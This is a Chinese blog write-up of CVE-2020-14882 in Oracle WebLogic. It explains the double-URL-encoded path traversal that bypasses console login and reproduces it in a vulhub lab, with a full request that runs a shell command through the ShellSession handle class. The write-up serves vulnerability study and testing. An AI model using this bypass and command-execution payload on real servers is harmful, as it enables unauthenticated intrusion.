影响范围:

  • Oracle WebLogic Server: 10.3.6.0.0

  • Oracle WebLogic Server: 12.1.3.0.0

  • Oracle WebLogic Server: 12.2.1.3.0

  • Oracle WebLogic Server: 12.2.1.4.0

  • Oracle WebLogic Server: 14.1.1.0.0

漏洞类型:

未授权访问、Java反序列化

操作系统限制:

配置要求:

  • 7001端口对外开放

漏洞利用:

命令执行,信息泄露,反弹shell

利用原理:

WebLogic控制台的权限检验逻辑是,如果访问静态资源则直接放行,如果是敏感的管理页面,则检查Cookie确认登录状态,攻击者通过构造含静态路径字段的payload来绕过WebLogic前端拦截器,访问路径为 /console/css/../console.portal,WebLogic内部引擎会对url编码部分进行解码,所以攻击者通过二次url编码构造成/console/css/%252e%252e%252fconsole.portal,来绕过WebLogic的拦截器,经过一次解码后为/console/css/%2e%2e%2fconsole.portal,WebLogic前端拦截器识别为静态资源成功绕过登录认证进入到管理后台。WebLogic控制台允许通过handle参数来指定一个Java类来处理请求,通过利用WebLogic自带的FileSystemXmlApplicationContext类来根据路径加载解析一个XML配置文件,攻击者可以在攻击机临时服务器放置恶意XML文件,利用解析XML的性质,动态通过反射机制创建对象设置属性,通过构建的恶意链实现命令执行

漏洞复现:

现成的vulhub来拉取镜像

#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/weblogic/CVE-2020-14882
#拉取镜像
docker-compose up -d

直接http://靶机ip:7001/console,重定向到登录界面http://靶机ip:7001/console/login/LoginForm.jsp

访问http://靶机ip:7001/console/css/%252e%252e%252fconsole.portal,绕过登录直接进入管理控制台主页面,实现未授权访问

进行命令执行,touch /tmp/success,返回404

http://靶机IP:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch /tmp/success');")

进入容器查看tmp目录,出现success,说明成功执行敏感命令


文章作者: Johan
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Johan的秘密小窝
CVE WebLogic
喜欢就支持一下吧